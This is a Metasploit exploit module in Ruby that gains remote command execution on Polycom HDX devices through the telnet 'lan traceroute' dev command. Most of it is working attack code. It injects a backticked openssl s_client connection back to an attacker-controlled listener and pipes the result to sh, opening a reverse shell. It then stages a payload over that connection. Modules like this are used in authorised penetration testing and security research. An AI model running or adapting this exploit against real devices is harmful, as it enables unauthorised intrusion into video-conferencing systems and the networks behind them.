1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
'Description' => %q{
Within Polycom command shell, a command execution flaw exists in
lan traceroute, one of the dev commands, which allows for an
attacker to execute arbitrary payloads with telnet or openssl.
},
'Author' => [
'Mumbai', #
'staaldraad', # https://twitter.com/_staaldraad/
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them
],
'References' => [
['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
],
'DisclosureDate' => 'Nov 12 2017',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [[ 'Automatic', {} ]],
'Payload' => {
'Space' => 8000,
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOST(),
Opt::RPORT(23),
OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
])
end
def check
connect
Rex.sleep(1)
res = sock.get_once
disconnect
if !res && !res.empty?
return Exploit::CheckCode::Unknown
elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def exploit
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
end
#
# Obtain banner information
#
sock = connect
Rex.sleep(2)
banner = sock.get_once
vprint_status("Received #{banner.length} bytes from service")
vprint_line("#{banner}")
if banner =~ /password/i
print_status("Authentication enabled on device, authenticating with target...")
if datastore['PASSWORD'].nil?
print_error("#{peer} - Please supply a password to authenticate with")
return
end
# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
sock.put("#{datastore['PASSWORD']}\n")
res = sock.get_once
if res =~ /Polycom/
print_good("#{peer} - Authenticated successfully with target.")
elsif res =~ /failed/
print_error("#{peer} - Invalid credentials for target.")
return
end
elsif banner =~ /Polycom/ # praise jesus
print_good("#{peer} - Device has no authentication, excellent!")
end
do_payload(sock)
end
def do_payload(sock)
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
# Start a listener
start_listener(true)
# Figure out the port we picked
cbport = self.service.getsockname[2]
cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
sock.put(cmd)
if datastore['VERBOSE']
Rex.sleep(2)
resp = sock.get_once
vprint_status("Received #{resp.length} bytes in response")
vprint_line(resp)
end
# Give time for our command to be queued and executed
1.upto(5) do
Rex.sleep(1)
break if session_created?
end
end
def stage_final_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end
def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
)
self.service.on_client_connect_proc = proc { |client|
stage_final_payload(client)
}
# Start the listening service
self.service.start
end
# Shut down any running services
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.is_a?(Rex::Service)
if self.service.is_a?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
# Accessor for our TCP payload stager
attr_accessor :service
end
|